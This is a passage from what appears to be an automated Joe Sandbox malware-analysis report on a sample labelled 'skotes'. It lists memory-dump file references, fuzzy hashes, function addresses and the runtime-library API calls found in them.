Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: adf43102aadc0947b84c3d73165ea3ed6bf4b735a453cd024515d82ac20fa172
Instruction ID: 2beaf7a94036eabe0f7cedfc6d53698a75f93ffabdb8f8daf1a1d044df518219
Opcode Fuzzy Hash: adf43102aadc0947b84c3d73165ea3ed6bf4b735a453cd024515d82ac20fa172
Instruction Fuzzy Hash: C1D06C3204010DBBDF129F84DC42EDA3BAAAB48654F015100BE1866020C632E821AB94

Function 00626C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00626CF5

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: de1abac14e7383ea361f576b31166ebdf466750f0f20137ba5d375b926ab0890
Instruction ID: 0b4dfda0b931557ea8ce7a698ff4712c51bcb391020b0e016b0a2527170ce9b5
Opcode Fuzzy Hash: de1abac14e7383ea361f576b31166ebdf466750f0f20137ba5d375b926ab0890
Instruction Fuzzy Hash: FEF0F471A00A20EBC700BB68DC03B0EBB76EB46B60F84075CE825672D1EB301A044BD7

Function 04E70B57 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3386607158.0000000004E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e70000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cbb2e0c9942821fe38623e5cad715167f0aba7b9f310ad956d19bb9f551dce4
Instruction ID: 609016486d25a48e0f51383bb7521cd3e49096405eb4fc32a253b88f13cad855
Opcode Fuzzy Hash: 2cbb2e0c9942821fe38623e5cad715167f0aba7b9f310ad956d19bb9f551dce4
Instruction Fuzzy Hash: 261104E324D351AEE243D6551F609F67F29EB9723833051ABF443CA143E2862B466262

Function 04E70C99 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3386607158.0000000004E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e70000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76b999479867b9126526f5346b2c944156e5e89bd7f154f3810ba3155393abdf
Instruction ID: d7002a177fa5e664937d235654ce7c4e54ab7e7ccd0df97079f2ba9d30b1fec3
Opcode Fuzzy Hash: 76b999479867b9126526f5346b2c944156e5e89bd7f154f3810ba3155393abdf
Instruction Fuzzy Hash: E70128D620E6C06EF201C1223B68EF76F6CDBD1631335959FF481C9407E20A598FA171

Non-executed Functions

Function 00630E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00630F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00630F62

Part of subcall function 0063265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00632750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00630FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00630FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0063103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0063106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006310C1

Strings

(, xrefs: 00630F22

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: cb9de990eb07fa2cd110fe91f53614556a9906ebd8e2575a023f9537bd944488
Instruction ID: 5138d4fdae01e44bf0e78dbd4202e25c6debad8ef2b025d9be8ec7c45f982905
Opcode Fuzzy Hash: cb9de990eb07fa2cd110fe91f53614556a9906ebd8e2575a023f9537bd944488
Instruction Fuzzy Hash: DFB17C70A00615EFDB28CF68D9A1ABAB7B6FF45700F14416DE906AB341D770AD81CB94

Function 00631602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00632CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00632D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00631614

Part of subcall function 00632E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00632E39
Part of subcall function 00632E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00632EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00631746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006317A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006317B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006317ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0063180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0063181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00631823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0063183B

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: bbbe8dc2f832b48bdc9163e14e7dc820bc79c23bc83e192d69aab1f70179c68d
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 63815771E002259FCB18CFA8C991AADB7F2BF4A304F1986ADD445AB701C730AD52CBC4

Function 0063EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0063EC81

Part of subcall function 00638F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00638F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0063ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0063ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0063ED0C

Part of subcall function 0063E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0063E7D7
Part of subcall function 0063E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0063E86F
Part of subcall function 0063E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0063E879
Part of subcall function 0063E7AF: Concurrency::location::_Assign.LIBCMT ref: 0063E8AD
Part of subcall function 0063E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0063E8B5

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
